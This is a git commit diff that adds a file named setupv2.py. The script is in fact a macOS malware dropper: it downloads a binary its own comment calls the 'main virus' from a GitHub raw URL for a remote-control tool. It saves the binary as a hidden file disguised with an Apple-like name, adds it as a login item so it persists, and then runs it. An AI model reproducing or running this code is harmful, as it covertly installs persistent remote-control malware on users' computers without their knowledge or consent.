diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 16:36:57 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 16:36:57 +0800 |
| commit | a867993c7945079b20f1f7d3935148f0cc2fa131 (patch) | |
| tree | 035704ce84e719bf9fc6bafd0705eb592d91277e /setupv2.py | |
| parent | b149d1da4571563757c225e0b9af6a8741ab9999 (diff) | |
updated
Diffstat (limited to 'setupv2.py')
| -rw-r--r-- | setupv2.py | 22 |
1 files changed, 22 insertions, 0 deletions
diff --git a/setupv2.py b/setupv2.py new file mode 100644 index 0000000..6644560 --- /dev/null +++ b/setupv2.py @@ -0,0 +1,22 @@ +from requests import get +from os.path import expanduser +from os import remove +from subprocess import Popen as subproc +from os import system as cmd + +filename = "com.apple.com.user.core" +localfile = f"{expanduser('~')}/.{filename}" +# download main virus +url = "https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main" +tb = 0 +response = get(url) +if response.status_code == 200: + with open(localfile, 'wb') as f: + for chunk in response.iter_content(chunk_size=1024): + if chunk: + tb += 1024 + f.write(chunk) + +cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'") + +subproc([localfile]) |
